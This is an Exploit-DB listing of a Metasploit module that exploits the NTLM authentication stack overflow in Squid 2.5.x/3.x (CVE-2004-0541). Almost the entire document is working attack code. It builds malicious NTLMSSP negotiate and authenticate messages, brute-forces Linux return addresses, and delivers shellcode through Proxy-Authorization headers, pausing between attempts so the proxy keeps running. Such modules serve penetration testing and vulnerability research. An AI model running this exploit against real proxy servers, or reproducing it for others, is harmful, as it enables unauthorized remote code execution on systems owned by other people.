Squid 2.5.x/3.x - NTLM Buffer Overflow (Metasploit)

EDB-ID:

9951


Author:

skape

Type:

remote


Platform:

Multiple

Date:

2004-06-08


##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Brute
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Squid NTLM Authenticate Overflow',
			'Description'    => %q{
				This is an exploit for Squid's NTLM authenticate overflow
				(libntlmssp.c). Due to improper bounds checking in
				ntlm_check_auth, it is possible to overflow the 'pass'
				variable on the stack with user controlled data of a user
				defined length.  Props to iDEFENSE for the advisory.
			},
			'Author'         => 'skape',
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-0541'],
					[ 'OSVDB', '6791'],
					[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],
					[ 'BID', '10500'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 256,
					'MinNops'  => 16,
					'Prepend'  => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",
					'PrependEncoder' => "\x83\xec\x7f",

				},
			'Targets'        => 
				[
					[ 'Linux Bruteforce', 
						{ 
							'Platform'   => 'linux', 
							'Bruteforce' => 
								{
									'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },
									'Stop'  => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },
									'Step'  => 0
								}
						}, 
					],
				],
			'DisclosureDate' => 'Jun 8 2004',
			'DefaultTarget'  => 0))

		register_advanced_options(
			[
				# We must wait 15 seconds between each attempt so as to prevent
				# squid from exiting completely after 5 crashes.
				OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),
			], self.class)
	end

	def brute_exploit(addresses)
		site = "http://" + rand_text_alpha(rand(128)) + ".com"

		print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")
		connect

		trasnmit_negotiate(site)
		transmit_authenticate(site, addresses)

		handler
		disconnect
	end

	def trasnmit_negotiate(site)
		negotiate  = 
			"NTLMSSP\x00"        + # NTLMSSP identifier
			"\x01\x00\x00\x00"   + # NTLMSSP_NEGOTIATE
			"\x07\x00\xb2\x07"   + # flags
			"\x01\x00\x09\x00"   + # workgroup len/max       (1)
			"\x01\x00\x00\x00"   + # workgroup offset        (1)
			"\x01\x00\x03\x00"   + # workstation len/max     (1)
			"\x01\x00\x00\x00"     # workstation offset      (1)

		print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")
		req =
			"GET #{site} HTTP/1.1\r\n" +
			"Proxy-Connection: Keep-Alive\r\n" +
			"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +
			"\r\n"
		sock.put(req)
		
	end

	def transmit_authenticate(site, addresses)
		overflow     = 
			rand_text_alphanumeric(0x20) + 
			[addresses['Ret']].pack('V') + 
			[addresses['Valid']].pack('V') + 
			"\xff\x00\x00\x00"
		shellcode    = payload.encoded
		pass_len     = [overflow.length + shellcode.length].pack('v')
		authenticate =
			"NTLMSSP\x00"        + # NTLMSSP identifier
			"\x03\x00\x00\x00"   + # NTLMSSP_AUTHENTICATE
			pass_len + pass_len  + # lanman response len/max
			"\x38\x00\x00\x00"   + # lanman response offset  (56)
			"\x01\x00\x01\x00"   + # nt response len/max     (1)
			"\x01\x00\x00\x00"   + # nt response offset      (1)
			"\x01\x00\x01\x00"   + # domain name len/max     (1)
			"\x01\x00\x00\x00"   + # domain name offset      (1)
			"\x01\x00\x01\x00"   + # user name               (1)
			"\x01\x00\x00\x00"   + # user name offset        (1)
			"\x00\x00\x00\x00"   + # session key
			"\x8b\x00\x00\x00"   + # session key
			"\x06\x82\x00\x02"   + # flags
			overflow + shellcode

		print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")
		req =
			"GET #{site} HTTP/1.1\r\n" +
			"Proxy-Connection: Keep-Alive\r\n" +
			"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +
			"\r\n"
		sock.put(req)
	end

end